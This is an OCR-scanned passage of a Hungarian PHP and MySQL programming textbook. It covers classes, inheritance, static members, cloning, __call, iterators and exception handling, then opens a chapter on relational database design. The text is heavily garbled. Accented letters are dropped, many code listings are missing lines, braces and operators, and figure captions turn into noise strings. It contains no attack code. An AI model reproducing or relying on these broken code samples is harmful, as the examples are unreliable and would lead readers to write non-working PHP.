rel Iciderthetjk ezt. Jelen esetben az strpos ( ) szeringkezel fggvnnyel nzzk meg. hogy az adott URL megtallhat-e
a szerver ltal belltott vltozk kztt. Az strpos( $ SERVER [ PHP_SELF l
1
A 6.2 pldakd a TLA Consuiting nyitoldalt hozza ltre, s az 5.2 brn lthat, korbban generlthoz hasonl kimenetet
eredmnyez. A 6.2 pldakd a kvetkezket hajtja vgre:
L A require hasznlatval beilleszti az Oldal osztly defincijt magban foglal oldal. inc.php tartalmr.
2.Ltrehozza az Oldal osztly egy pldnyt. Ennek neve $kezdolap.
3. Bellga a tartalmat, amely az oldalt megjelent szvegbl s HTML cmkkbl ll. (Ez egyben a_set( ) metdust is
meghvja.)
4. A $kezdelap objektumon bell meghvja a Megjelenites () mecdust, hogy az oldal megjelenjen a ltogat bng
szjben.
6.2 pldakd: kezdolap. php-Ez a
<?php
require("oldal.inc.php");
$kezdolap = new Oldal();
$kezdolap->tartalom ="<p>Kszntjk a TLA Consulting honlapjn!
Krjk,
remljk,
$kezdolap->Megjelenites();
?>
A 6.2 pldakdbl ltszik, hogy milyen kevs munkra van szksg ahhoz, hogy ezen Oldal osztly segtsgvel j oldala
kat lltsunk el. Az osztly ilyetn alkalmazsa azt eredmnyezi, hogy az sszes oldalnak nagyon hasonlnak kell lennie.
Ha azt szeretnnk, hogy a honlap egyes rszei az lcalnos oldalszerkezet mdostott vltozatt hasznljk, egyszeren
lemsolhatjuk az oldal.inc. php fjlt egy j, oldal2. inc.ph p nev llomnyba, s ott vgrehajthaguk a kvnt mdos
tsokat. Ez persze azzal jr, hogy ha az oldal. ine. php bizonyos rszeit frissgk vagy javtjuk, nem szabad elfeledkeznnk,
hogy ugyanezen mdostsokac az oldal2. inc.php fjlban is vgrehajtsuk.
Jobban jrunk, ha rkldst hasznlva hozzuk ltre az j osztlyt, amely az Oldal funkcionalitst nagy rszben rkli,
azonban az eltrnek kvnt rszeket fellrj a. Tegyk fel, hogy a TLA honlapjn, a szolglcatsokat bemutat oldalon egy m
sodik navigcis svra van szksg! A 6.3 pldakdban lv program gy ri ezt el, hogy ltrehoz egy j, az Oldal osztl)bl
szrmaztatott, Szelgal tatasokOldal nev osztlyt. Ltrehozunk egy $sor2gombok nev j tmbt, amely e msodik
svba sznt gombokat s hivatkozsokat tartalmazza. M ivel azt szeretnnk, hogy az j osztly nagyrszt vltozatlan mdon
mk<ljk, csak a mdostani kivnt rszt rjuk fel: a Megjeleni tes( ) metdust.
Objektumorientlt PHP
123
6.3 pldakd: szalgal tatasok.php-A szolgltatsok oldal az Oldal osztlybl rkldik, de a Megjeleni tes() met
dust Jellrva mdostja a kimenetet
<?php
require ("oldal.inc.php");
class SzolgaltatasokOldal extends Oldal
''buzzword.php '',
echo "<html>\n<head>\n";
$this -> MegjelenitesCim();
$this -> MegjelenitesKulcsszavak();
$this -> MegjelenitesStilusok();
echo "</head>\n<body>\n";
$this -> MegjelenitesFejlec();
$this -> MegjelenitesMenu($this->gombok);
$this -> MegjelenitesMenu($this->sor2gombok);
echo $this->tartalom;
$this -> MegjelenitesLablec();
echo "</body>\n</html>\n";
de az is lehet,
Ez a sor msodszor is meghvja a Megjelen i tesMenu() fggvnyt, s ltrehoz egy msodik mensort.
Az osztlydefincin kvl ltrehozzuk a SzalgaltatasokOldal osztly egy pldnyt, belltjuk azon tulajdonsgait,
amelyeknl nem az alaprtelmezett rtkeket szeretnnk hasznlni, majd meghvjuk a Megjelenites( ) fggvnyt.
Lthatjuk, hogy a 6.2 bra az ltalnos oldal j vltozatt mutatja. Csak a mdostott rszekhez kellett j kdot rnunk.
124
6. fejezer
6.2 bra: A
TLA
liji$.1$ '
@iN'9
c.:;sg.;p;:;wn;g.pJI -
hi#'
... .
billilli
szolgltatsok oldalt rkldssel, az ltalnos oldal nagy rszt jra Jelhasznlva hoztuk ltre.
Az oldalak PHP osztlyokon keresztli ltrehozsa nyilvnval elnykkel jr. Ha a munka dandrjr egy osztly vgzi el,
akkor rtelemszeren kevesebber kell dolgozunk az j oldalak lrrehozsn. Az osztlyt frisstve egyszeren, egyetlen mozdu
lattal mdosthatjuk az sszes oldalt. rklds segtsgvel az eredeti osztly klnbz vltozatait szrmazrathatjuk anlkl,
hogy az rklds elnyeirl le kellene mondanunk.
Mint az letben szinte mindig, most sem ingyen jutunk ezekhez az elnykhz. Az oldalak kdbl trtn ellltsa jobban
ignybe veszi a szmtgp processzort, mint egy statikus HTML oldal betltse s elkldse a bngszre. Egy nagy forgal
m honlapon ez fonros szempont lehet, s trekedni kell vagy statikus HTML oldalakat hasznlni, vagy - ahol lehetsges a kdok kimenetnek gyorsttrazsval cskkenteni a kiszolgl terhelst.
class Math
const pi
."!",
.._
__
3.14159;
".Math::pi."\n";
?>
Az osztlyon belli llandkat a : : mveleti jellel az lland osztlyt meghatrozva rjk el, ahogy a fenti pldban is lthat.
return $input*$input;
l
l
echo Math:: negyzetre emeles(8);
Objektumorientlt PHP
125
rdemes megjegyezni, hogy statikus metduson bell nem hasznlhatjuk a this kulcsszt, hiszen nincsen objektumpl
dny, amire hivatkozhat.
igaz.
($b instanceof A)
igaz.
($b instanceof
hamis.
A fenti pldk felttelezik, hogy az A, a B s a Megjelenitheto az aktulis hatkrben tallhat; msklnben hiba
kvetkezik be.
Ezen tlmenen alkalmazhatunk az osztlyokra tpusjelzst ( rype hinting) is. lcalban amikor paramtert adunk t PHP
ben egy fggvnynek, a paramter tpust nem adjuk t. Tpusjelzssel meghatrozhatjuk, hogy milyen tpus osztlyt kell
tadni, s amennyiben az nem egyezik a tnylegesen tadoct tpussal, akkor hiba kveekezik be. A tpusellenrzs egyenrtk
az instanceof kulcsszval. Gondoljuk vgig pldul a kvetkez fggvnyt:
function hint ellenor(B $valamilyenosztaly
l l ...
Fatal error:
Argument
(Vgzetes hiba:
l.
Az
l must be an instance of B
paramtere a B osztly
pldnya kell,
hogy legyen)
rdemes megemlteni, hogy A tpusjelzse s B egy pldnynak tadsa esecn nem trtnt volna hiba, mert a B osztly
A-bl rkldik.
clyra val hivatkozst; az alaposztlyok hasznlhatnak a gyerekosztlyok ltal fellrt, statikus metdusokat. Az albbi, a PHP
kziknyvbl szrmaz, alapszint plda mkds kzben mutat egy ksi statikus ktst:
<?php
class A
public
echo
public
static::ki();
class B extends A
public
static
echo
(
function ki()
CLASS
B::teszt();
?>
CLASS
l 6
126
6. fejezet
A futsidben meghvott- akr fellrt, akr nem fellrt- osztlyokra mutat hivatkozsok lehetsge tovbbi funkciona
litssal gazdagthatja osztlyainkat.
A ksi statikus ktsekrl tovbbi informcikat s pldkat tallunk a PHP online kziknyvnek http:/ /www.php.net/
manual/ en/ language.oop5.late-static-bindings.php cmen elrhet rszben.
Objektumok klnozsa
A PHP-ben is hasznlhat clone kulcsszval meglv objektumot msolharunk le. Pldul a
Sc
clone $b;
utasts a $b objektum ugyanolyan osztly, ugyanolyan attribtumrtkekkel rendelkez msolatt hozza ltre.
A klnozs nem csak gy mkdhet. Ha a clone kulcssz nem alaprtelmezett mkdsre van szksg, ltre kell hoznunk
az alaposztlyban egy_clone(} nev metdust. Ez annyiban hasonl a konstruktorhoz s a destruktorhoz, hogy nem kz
veclenl hvjuk meg. Akkor hvdik meg, arnikor a clone kulcsszt az itt lthat mdon hasznljuk. A_clone(} metdu
son bell ezt kveten pontosan meghatrozhatjuk a kvnt msolsi mdszert.
A_clone(} metdus szpsge abban rejlik, hogy egy, az alaprtelmezett mdszerrel ltrehozott tkletes msolat elk
szlte utn hvdik meg, s ekkor lehetsgnk van r, hogy csak a mdostani kvnt dolgokon vltoztassunk.
A_clone(} metdushoz leggyakrabban olyan kdot adunk hozz,amely biztostja a hivatkozsknt kezelt osztlytulaj
donsgok helyes msolst. Ha megprblunk lemsolni egy objekrumra val hivatkozst tartalmaz osztlyt,minden bizony
nyal ennek az objektumnak a msolatt szeretnnk eredmnyl kapni, nem pedig egy, az eredeti objekrumra mutat msodik
hivatkozst. Pontosan ezrt rdemes hozzadni ezt a_clone(} metdushoz.
Dnthetnk gy is, hogy nem vltoztarunk meg semmit,hanem valarnilyen ms mveletet hajrunk mg vgre, pldul egy,
az osztlyhoz kapcsold mgttes adatbzisrekord frisstst.
$param2};
Az elvont metdusokat tartalmaz osztlyoknak nmaguknak is elvontnak kell lennik,ahogy ezt a kvetkez plda is mu
tatja:
abstract class
$param2};
Az elvont metdusokat s osztlyokat elssorban olyan sszetett osztlyhierarchiban hasznljuk, amelynl biztosak k
vnunk lenni abban, hogy minden alosztly tartalmaz s fellr egyes meghatrozott metdusokat. Ugyanezt interfsszel is
elrhetjk.
c a ll
( ) metdussal
Korbban mr szmos klnleges jelents osztlymetdussal tallkoztunk, amelyeknek ketts alulvonssal (_) kezddtt
a nevk. Ilyen volt a _get(},a _set (},a_construct(} s a_destruct (}.Ezek kz tartozik a_call(} me
tdus is,amit arra hasznlunk PHP-ben, hogy megvalstsuk a metdusok tbbszrs definilst {method overloading).
A tbbszrs definils sok objektumorientlt nyelvben megrallhat,m PHP-ben kevsb hasznos,mivel rdemes helyet
te rugalmas tpusokat s {knnyen ltrehozhat) opcionlis fggvnyparamtereket alkalmazni.
Hasznlathoz ltrehozunk egy_call(} metdust, ahogy tesszk ezt a kvetkez pldban:
public function
if ($metodus
call($metodus,
==
$p}
"megjelenites"}
if (is_object($p(0]}} {
$this->megjelenites0bjektum($p[0]};
else if (is_array($p(0]}} {
$this->megjelenitesTomb($p[O]};
Objektumorientlt PHP
else
127
$this->megjelenitesSkalaris($p[0]);
A_call () metdus kt paramtert fogad. Az els a meghvott metdus nevt,a msodk pedig az ennek a metdus
nak radott paramterek tmbjt tartalmazza. Ezt kveten eldnthetjk,hogy melyik mgttes metdust hvjuk meg.
Jelen esetben,ha objektumot adunk t a Megjeleni tes() metdusnak, a mgttes megj elenitesObjektum () met
dust hvjuk meg; ha tmbt adunk t,a megj eleni tesTomb () metdust hvjuk meg,s ha valami mst adunk t, akkor
a megjelenitesSkalaris () metdust.
A fenti kd meghvshoz elszr ltre kell hozni az ezt a_call ( ) metdust tartalmaz osztly egy pldnyt (acljuk
neki az overload nevet),s ezt kveten hvjuk meg a Megj eleni tes ( ) metdust,ahogy az albbi pldban is ltjuk:
$ov
new overload;
$ov->megjelenites(tomb (l,
2,
3));
$ov->megjelenites('macska');
A Megjelenites() els meghvsa a megjelenitesTomb (),a msodik pedig a megjelen itesSkalaris () met
dust hvja meg.
rdemes megjegyezni, hogy a fenti kd mkdshez nincs szksg a Megj elenites() metdus mgttes kifejtsre.
Az
au t o l o a d
( ) fiiggvny hasznlata
A PHP egy msik klnleges fggvnye az _a utoload ().Nem osztlymetdus, hanem klnll fggvny; ez azt jelenti,
hogy osztlydeklarcin kvl deklarlhatjuk Ha ltrehozzuk,automatikusan meghvdik, amikor mg nem deklarlt osztly
pldnyt prbljuk meg ltrehozni.
Az _a utoload ( ) hasznlatnak elsdleges clja megprblni beilleszteni a kvnt osztly pldnynak ltrehozshoz
include_once $nev.".php";}
public
"7";
"9";
$b
public $c
$x
"5";
public $a
new sajatOsztaly;
(Ktetnk rsnak idejn a PHP kziknyv szerint a foreach fellet mkdshez ltre kell hozni az res Traversable
felletet,m ha ezt tesszk,vgzetes hiba trtnik. Ha azonban nem hozzuk ltre,a kd tkletesen mkdk.)
Amennyiben ennl knnomulrabb mkdst ignylnk,hozzunk ltre itertort! Ehhez az iterlni kvnt osztllyal ltre kell
hozni az IteratorAggregate interfszt,s hozz kell adni egy getiterator nev,az itertorosztly egy pldnyt
visszaad metdust. Ennek az osztlynak ltre kell hozni az Iterator felletet, amely Icifejtend metdusok sorozatval
rendelkezik. A 6.4 pldakdban az osztlyra s az itertorra ltunk egy pldt .
128
6. fejezer
6.4 pldak d:
iterator . php
<?php
class Objekturnlterator irnplernents
Iterator
private $obj;
private $szarnlalo;
private $aktualislndex;
function
construct($obj)
__
$this->obj
$obj;
$this->szarnlalo
szarnlalo($this->obj->data);
function visszaallit()
0;
$this->aktualislndex
function ervenyes()
function kulcs()
return $this->aktualislndex;
function aktualis()
return $this->obj->data[$this->aktualislndex];
function kovetkezo()
$this->aktualislndex++;
function
construct($in)
__
$this->data
$in;
function getlterator()
new Object(array(2,
$sajat0bjekturn
$sajatlterator
4,
6,
8,
10));
$rny0bject->getlterator();
for($sajatlterator->visszaallit();
$sajatlterator->ervenyes();
Objektumorientlt PHP
129
$sajatiterator->kovetkezo(}}
$key = $sajatiterator->kulcs(};
$ertek = $sajatiterator->aktualis(};
echo $kulcs." => ".$ertek."<br />";}
?>
Ha ltrehozunk osztlyunkban egy _toString(} nev fggvnyt, ez fog meghvdni, amikor megksreljk knyomtarni az
osztlyt, ahogy tesszk azt az albbi pldban:
$p = new Nyomtathato;
echo $p;
Az echo utasts azt fogja megjelenteni, amit a_toString(} fggvny visszaad. Pldul a kvetkezkppen hozhatjuk
ltre:
class Nyomtathato
public $tesztegy;
public $tesztketto;
public
function _toString(}
return(var export($this,
TRUE}};
require once("oldal.inc.php");
Ebben az esetben a
Reflection
...
..,.
.... ft)
h-n-,1 l..acltuuoJ
-nr l "'*Ucl<'l
""-rorl olftlca...)
....U
..._.,.,,-u -1
..
Ilu-fUI) l
--l---- l
U .,_ __.._._-au oo_.,,..,,_.-_......UN_rl-"&U&J.-- l'
Hogyan tovbb:
A kvetkez fejezet a PHP kivtelkezel lehetsgeit mutatja be. A kivtelek elegns lehetsget adnak a futsidej hibk ke
zelsre.
7
Hiba s kivtelkezels
A fejezetben a kivtelkezels fogalmt, illetve PHP-beli megvalsrst mutatjuk be. A kivtelek egysges mechanizmust szol
gltamak a hibakezelsre, amely sajt, objektumorientlt alapokon nyugv hibakezelssei egszthet ki.
A fejezetben az albbi fbb tmakrkkel foglalkozunk:
Kivtelkezelsi fogalmak
Kivtelkezelsi szerkezetek: try ...throw...catch
Az Exception osztly
Felhasznl ltal meghatrozott kivtelek
Kivtelek Bob autalkatrsz-rtkest alkalmazsban
Kivtelek s a PHP tovbbi hibakezel mechanizmusai
Kivtelkezelsi fogalmak
A kivtelkezels alapgondolata, hogy a kd egy gynevezett try blokkon bell hajtdik vgre. A kd ezen rsze gy nzi ki:
try
ll ide kerl a kd
Ha valami nem stimmel a try blokkban, kivtelt vlthatunk ki (throw exception). Egyes programozsi nyelvek, kztk
a java is, bizonyos esetekben automatikusan kivltjk a kivteleket. PHP-ben ezt sajt kezleg kell megrenni. A kivtel kivltsa
a kvetkezkppen trtnik:
throw new Exception('zenet',
kd);
A throw kulcssz indtja el a kivtelkezel mechanizmust. Inkbb nyelvi alkotelem, mintsem fggvny, mindazonltal
rtket kell tadni neki. Objektumot vr. A legegyszerbb esetben a beptett Exception osztly egy pldnyt hozzuk ltre,
ahogy tettk ezt a fenti pldban is.
Ezen osztly konstruktora kt paramtert fogad: egy zenetet s egy kdot. Ezek egy hibazenetet s egy hibakdszmot
szndkoznak jelkpezni. Mindkt paramter opcionlis.
A try blokk alatt legalbb egy catch blokkra is szksg van. Ez ltalnossgban a kvetkezkppen nz ki:
catch
(tpusjelzs
kivtel)
ll kivtel kezelse
Egy try blokkhoz egynl tbb catch blokk is trsthat. Ez akkor nyer rtelmet, ha minden catch blokk ms cpus
kivtelt kszl elkapni. Ha pldul az Exception osztly kivteleit szndkozunk elkapni, catch blokkunk a kvetkez
kppen nzhet ki:
catch (Exception
$e)
ll kivtel kezelse
A catch blokkba radott (s ltala elkapott) objektum a kivtelt felismer throw utastsnak radott (s ltala kivltott)
objektum. A kivtel brmilyen tpus lehet, de rdemes vagy
az
Exception
meghatrozott, az Exception osztlybl rkld kivtelpldnyokat hasznlni. (A fejezet egy ksbbi rszben megmutat
juk, hogyan tudjuk sajt kivteleinket meghatrozni.)
132
7. fejezer
Amikor egy kivrel bekvetkezik, a PHP a megfelel catch blokkor kezdi keresni. Egynl rbb catch blokk esern a ne
kik radorr objektumoknak klnbz tpusaknak kell lennik, hogy a PHP rtelmez ki tudja derteni, hogy melyik catch
melyik blokkon menjen keresztl.
rdemes megemlteni, hogy catch blokkon bell nem lehet tovbbi kivteleket kivltani.
Hogy az eddig elmondorrakat vilgosabb tegyk, nzznk egy pldd A 7.1 pldakdban egy egyszer kivtelkezelsi pl
dt tallunk.
7.1 pldakd: alapszintu_kivete l. php-Kivtel kivltsa s elkapsa
<?php
try
42);
$e->getFile() .
" fj l "
$e->getMessage()."<br
$e->getLine() .
".
/>".
sorban<br
/>";
?>
A 7.1 pldakdbl lthat, hogy az Exception osztly metdusait hasznltuk. (Ezeket rvidesen rszletesen is megismer
hegk.) A kd futtatsnak eredmnye a 7.1 brn lthat.
Q---
..__..,..,,..._""'-""-..,..01_.,...
....._...
....
..
...... _....
7 .l bra: A catch blokk kzli a kivtel hibazenett, s jelzi, hol trtnt a kivtel.
A pldakdban lthat, hogy az Exception osztly kivtelt vltjuk ki. E bepterr osztly a catch blokkban hasznos
hibazenerek megjelentsre alkalmas merdusokkal rendelkezik.
Az Exception osztly
A PHP rendelkezik egy Exception nev bepterr oszrllyal. Ennek konstruktora, mint azt mr jelezrk, kt paramtert
getMessage
getFile() -Annak
getLine
()-A kdfjl azon sornak a szmt adja vissza, ahol a kivtel bekvetkezett.
getTrace
getTraceAsStr ing
()-A getTrace metdus lral visszaadorr informcival megegyezt ad vissza karakterlncknt for
mzva azt.
_toStr ing ( )- Lehetv
teszi, hogy az Exception objektumot egyszeren ki!ratva a fenri metdusok lral nyj
$e;
Hiba- s kivtelkezels
133
construct(string $message=NULL,
if (func_num_args())
int $code=0)
$this->message = $message;
$this->code
$code;
$this->file =
FILE
$this->line =
LINE
$this->trace = debug_backtrace();
$this->string
StringFormat($this);
ll kivtel zenete
ll kivtel forrsfjlneve
protected $file;
protected $line;
ll kivtel forrssora
ll kivtel visszakvetse
private $trace;
private $string;
ll csak bels!
function
toString()
return $this->string;
static private
ll ...
PHP
ll ...
PHP
134
7. fejezet
"?>"
Elssorban azrt vizsgljuk meg ezt az osztlydefincit, hogy szrevegyk: a nyilvnos (public) metdusok tbbsge vg
leges (final). Ez azt jelenti, hogy nem fellrhark. Ltrehozharjuk sajt Exception alosztlyainkat, de nem mdosthaguk
az
alapmetdusok viselkedst. Jegyezzk meg, hogy a _toSt ring () fggvny fellrhat, gy megvltoztathatjuk a kivtel
<?php
class sajatKivetel extends Exception
function
toString()
try
{
throw new sajatKivetel("Szrny hiba trtnt",
42);
echo $m;
?>
Ebben a kdban j kivtelosztlyt deklarlunk. Ennek neve saja tKivete l, s az Exception alaposztlybl rkldik.
Ez s az Exception osztly kztt az a klnbsg, hogy a_toString () metdust fellrva, szpen formzva ratjuk ki
a kivtelt. A kd futtatsnak kimenere a 7.2 brn lthat.
7.2 bra: A saja tKivetel osztly ,.szpen Jormzva" jelenti meg a kivteleket.
Hiba- s kivtelkezels
135
A fenti plda igen egyszer. A kvetkez rszben megvizsgljuk, hogyan lehet klnbz hibatpusokat kezel, msmilyen
kivteleket ltrehozni.
(Adatok trolsa s visszakeresse) megcudhattuk, hogyan troljuk Bob rendelsi adatait egy egyszer fjlban.
Mint azzal bizonyra tisztban vagyunk, a fjlkezels egyike azon terleteknek, ahol gyakran jelentkeznek hibk. Ezrt kivl
terep ez kivtelkezels alkalmazsra s szemlltetsre.
Ha visszagondolunk az eredeti kdra, lthatjuk, hogy hromfle problma kvetkezhet be fjlba rskor: a fjl nem nyithat
meg, nem lehet zrolni, vagy nem lehet rni bele. Mindhrom lehetsghez ltrehoztunk egy-egy kivtelosztlyt. Ezek kdjt
a
kivtelek
<?php
class fajlNyitasiKivetel extends Exception
function
toString()
__
return nfajlNyitasiKivetel n.
n:
$this->getCode()
/>n. n
$this->getMessage(). n<br
n.
$this->getFile().
n fjl n.
''.
/ >'';
sorb an
''
''<br
$this->getLine()
function
return nfajlirasiKivetel n.
n:
n.
$this->getCode()
$this->getMessage(). n<br
$this->getFile().
n f j l
''.
/> '';
sorb an ''
''<br
/>n. n
a n
$this->getLine()
toString()
__
return
nfajlZarolasiKivetel n
n:
$this->getCode()
$this->getMessage(). n<br
$this->getFile().
n fjl n.
''.
/>'';
sorb an
''
''<br
/>n. n
a n
$this->getLine()
?>
Ezek az Exception alosztlyok semmi klnlegeset nem tesznek. Jelen alkalmazshoz akr res alosztlyknt is felhasz
nlhattuk volna ket, de az alap Exception osztly is megfelel lenne. Mindazonltal minden alosztlyhoz ltrehoztunk egy
_toString()
A 2. fejezetbl ismert rendeles feldolgozasa. php fjlt trtuk, hogy beptsk a kivteleket. Az j vltozar a 7.5
_
pldakdban lthat.
136
7. fejezet
7.5 pldakd: rendeles_feldolgozasa. php - B ob rendelseket Jeldolgoz kdja kivtelkezels beptse utn
<?php
require_once("fajl kivetelek.php"};
$DOCUMENT_ROOT
?>
<html>
<he ad>
<title>Bob autalkatrszek -
Rendelsi eredmnyek</title>
</head>
<body>
<hl>Bob autalkatrszek</hl>
<h2>Rendelsi eredmnyek</h2>
<?php
$datum = date('H:i,
jS F'};
echo
".$datum."</p>";
</p>';
$osszmennyiseg = 0;
$osszmenny1seg = $abroncs_db
echo " Rendelt termkek szma:
if( $osszmennyiseg == 0}
$olaJ
db
$gyertya db;
".$osszmennyiseg."<br />";
( $abroncs_db > O }
_",,
.__
__
$vegosszeg = 0.00;
define('ABRONCSAR',
define( 'OLAJAR',
100};
l0};
define('GYERTYAAR' ,
4};
$vegosszeg = $abroncs_db
ABRONCSAR
$olaj_db
OLAJAR
$gyertya db
GYERTYAAR;
$vegosszeg=number_format($vegosszeg,
2,
'
);
Hiba- s kivtelkezels
$kimeneti sztring
137
".Svegosszeg."</p>";
".$szallitasi cim."</p>";
if (1($fp
@fopen("$DOCUMENT_ROOT/../rendelesek/rendelesek.txt",
'ab')))
if (!flock($fp,
LOCK_EX))
if (1fwrite($fp,
$outputstring,
strlen($outputstring)))
flock($fp,
LOCK_UN);
fclose($fp);
echo "<p>Rendels megirva. </p>";
prblkezzon ks6bb!</strong></p>";
?>
</body>
</html>
A kd fjlkezelssei foglalkoz rszt try blokk veszi krl. Az ltalos s kvetend programozsi gyakorlat kis try
blokkok alkalmazsa, illetve mindegyik utn a megfelel kivtel elkapsa. Igy knnyebb a kivtelkezel kd megrsa s kezel-
Vizsgljuk meg a catch blokkokat! Nem vletlenl csak kett van bellk: az egyik a fajlNyitasiKivetel kivteleket
kezeli, a msik az Exception kivteleket. Mivel a tbbi kivtel az Exception osztlybl rkldik, ezeket a msodik catch
blokk fogja elkapni. A catch blokkok kivtelekkel prostsa ugyanolyan alapon trtnik, mint az instanceof opertor.
Ezrt is rdemes sajt kivtelosztlyainkat egyetlen osztlybl szrmaztatni.
Vgezetl egy fontos figyelmeztets: ha olyan kivtelt vltunk ki, amelynek nem rtunk megfelel catch blokkot, a PHP
vgzetes hibt jelez.
l 7
138
7. fejezet
Tovbbi olvasnival
Mivel a kivtelkezels a PHP egyik jdonsga, nem tl sokat rtak mg a tmban. A kivtelkezelsrl ltalnossgban azon
ban bsges informci lelhet fel. A Sun kivl oktatanyaggal rendelkezik a kivtelekrl, illetve arrl, mirt rdemes hasz
nlni azokat. A - termszetesen a Java szemszgbl rdott - anyag a http://java.sun.com/docs/books/tutorial/essential/
exceptions/handling.html oldalrl rhet el.
Hogyan tovbb:
A knyv kvetkez rsze a MySQL-lel foglalkozik. Megtudjuk, hogyan hozzunk ltre s tltsnk fel MySQL adatbzist, majd
mindezt a PHP-rl tanultakkal sszekapcsolva hogyan lehet az adatbzist az internetrl elrni.
II
A MySQL hasznlata
10
ll
12
Halad MySQL-adminisztrci
13
Halad MySQL-programozs
8
Webes adatbzis megtervezse
A PHP alapjainak megismerse utn figyelmnket afel fordtjuk, hogyan tudunk kcljainkba adatbzist bepteni. Emlkez
hetnk r, hogy az Adatok trolsa s visszakeresse cm 2. fejezet bemutatta, milyen elnykre szmthatunk, ha az egyszer
fjlok helyett relcis adatbzist hasznlunk:
A relcis adatbzis-kezel rendszerek (RDBMS) az egyszer fjloknl gyorsabb hozzfrst tesznek lehetv az adatokhoz.
Az RDBMS-ekbl lekrdezssel egyszeren kinyerherk adott kritriumoknak megfelel adathalmazok.
Az RDBMS-ek beptett mechanizmusokat knlnak az egyidej hozzfrsek kezelsre, gy programozknt nem
szksges ezzel foglalkoznunk.
Az RDBMS-ek vletlen hozzfrst biztostanak az adatokhoz.
Az RDBMS-ek beptett jogosultsgi rendszerekkel rendelkeznek.
Hogy nhny kzzelfoghat pldt is nzznk, relcis adatbzis hasznlatval gyorsan s egyszeren vlaszt kapunk az
olyan lekrdezsekre, hogy honnan rkeznek vsrlink, mely termkek fogynak a legjobban, s milyen tpus vsrlk klte
nek a legtbbet. ilyen - egy egyszer fjlbl igen nehezen kinyerhet - informcik birtokban fejleszthetjk oldalunkat, hogy
rbb felhasznlt vonzzon, s segtsen megtartani ket.
A knyv elttnk ll rszben MySQL adarbzist fogunk hasznlni. Mieltt a kvetkez fejezetben elmlyednnk a
MySQL rszleteiben, megvizsgljuk a kvetkezket:
Relcis adatbzisokkal kapcsolatos fogalmak s szakkifejezsek
Webes adatbzis megtervezse
Webes adarbzis architektrja
A knyv ezen rszben az albbi terletekkel ismerkednk meg:
A Webes adatbzis ltrehozsa cm 9. fejezet MySQL adatbzis internethez kapcsolsnak alapvet belltst mutatja
be. Megtudjuk, hogyan hozhatunk ltre felhasznlkat, adatbzisokat, tblkat s indexeket, s megsmerjk a MySQL
klnbz trolmotorjait.
A Munkavgzs MySQL adatbzisunkkal cm 10. fejezetbl kiderl, hogyan lehet lekrdezni az adatbzisbl, hogyan
tudunk rekordokat hozzadni, trlni s frissteni - mindezt parancssorbL
A MySQL adatbzis elrse a webrl PHP-vel cm ll. fejezet bemutatja, hogyan lehet a PHP-t s a MySQL-t ssze
kapcsolva adatbzisunkat webes kezelfelletrl elrni s hasznlni. Kt mdszert ismernk meg erre: az egyik a PHP
.. MySQL Improved Extension" (mysqli) kiterjesztst, a msik a PEAR:DB adatbzis-absztrakcis rteget hasznlja.
A Halad MySQL-adminisztrci cm 12. fejezer rszletesebben taglalja a MySQL-felgyeletet, olyan terleteket rint
ve, mint a jogosultsg rendszer, a biztonsg s az optimalizls.
A Halad MySQL-programozs cm 13. fejezet a trolmotorokat mutatja be rszletesebben, foglalkozik a tranzakcik
lefedettsgvel, a teljes szvegben keresssel s a trolt eljrsokkal.
Tblk
A relcis adatbzisok kapcsolatokbl plnek fel, amelyeket tblknak vagy tblzatoknak (rable) szoks nevezni. A tbla pon
tosan az, amit a neve sugall - adarokbl ll tblzat. Ha hasznltunk korbban tblzatkezel alkalmazst, akkor tblkkal is
dolgoztunk mr.
142
8.fejezet
Vessnk egy pillamst a 8.1 brn lthat mintatblra, amely a Book-O-Rama nev knyvesbolt vsrlinak nevt s cmr
tartalmazza!
VASARLOK
Nev
Lakeim
Varos
Julie Smith
25 Oak Street
Airporr West
Alan Wong
BoxHiU
Michelle Arrhur
Yarraville
VasariolD
Oszlopok
A tbla minden oszlopa egyedi nvvel br, s klnbz adatokat tartalmaz. Minden oszlop megfelel adattpus. A 8.1 brn
lthat Vasarl ok tblbl kiderl, hogy a Vas arl o I D (vagyis vsrlazonost) egsz szmokat, a msik hrom oszlop
karakterlncokat tartalmaz. Az oszlopokat esetenknt mezknek (field) vagy tulajdonsgoknak, attribtumoknak (attribute) is
szoks nevezni.
Sorok
A tbla mindegyik sora egy-egy vsrlt jelkpez. A tblzatos forma miatt minden sor ugyanazokkal a tulajdonsgokkal ren
delkezik. A sorokat szoks rekordoknak ( record) is nevezni.
rtkek
Minden sor az egyes oszlopoknak megfelel rtkek kszlett tartalmazza. Minden adatnak az oszlopa ltal meghatrozott
adattpusnak kell lennie.
Kulcsok
Szksg van az egyes vsrlk azonostst lehetv tev mdszerre. A nevek ltalban nem alkalmasak erre. A gyakori nvvel
megldott olvask nnden bizonnyal jl tudjk ezt.Gondoljunk pldul aVasar lok tblban szerepl Julie Smith-re! Ha
kinyitunk egy amerikai a telefonknyvet, megszmllhatatlan sok ilyen nev embert tallunk.
Tbbflekppen megklnbztethetjk kzttkJulie-t.J esllyel az egyetlenJulie Smith, aki a megadott lakcmen l. Az
"
"Oak Street 25, Airport West alatt lak Julie Smith nven emlegetni t azonban kicsit krlmnyes, s tlsgosan hivatalos
nak hat. Radsul hasznlathoz a tbla egynl tbb oszlopra is szksg lenne.
Amit a pldban tettnk, s amit nnden bizonnyal s:Yt alkalmazsainkban is tenni fogunk, nem ms, mint egyni vsr
lazonost (Vasar lo I D) hozzrendelse az gyfelekhez. Ugyanezen elv alapjn kapjuk egyedi bankszmlaszmunkat vagy
tagsgi szmunkat a DVD-klcsnzben. Egyszerbb teszi adataink adatbzisban trolst. Mestersgesen kiosztott azono
st szmnl garantlhatjuk az egyedisget. Nagyon kevs valdi adat rendelkezik ezzel a tulajdonsggal. Gyakran mg az sem
szavatolja az egyedi azonostst, ha tbb ilyen adatot kombinlva hasznlunk.
A tblzat azonost oszlopt kulcsnak vagy elsdleges kulcsnak nevezzk. A kulcs tbb oszlopot is tartalmazhat. HaJulie-ra
pldul az "Oak Street 25, Airport West alatt lak Julie Smith"-knt hivatkozunk, akkor a kulcs a Lakcim, Varos s Nev osz
Az adatbzisok jellemzen tbb tblbl llnak, s kulcsot hasznlva hivatkoznak az egyik tblrl a msikra. A 8.2
brn egy, ehhez az adatbzishoz adott msodik tblt ltunk, amely a vsrlk ltal jelzett megrendelseket trolja.
A Megrendelesek tbla minden sora egy adott vsrl egy konkrt megrendelst jelkpezi.Tudjuk, hogy ki a szban
forg vsrl, mivel VasarloiD nven eitraijuk az gyflazonostjt. Ha megnzzk pldul a 2-es rendelsi azonostj
(RendelesiD)
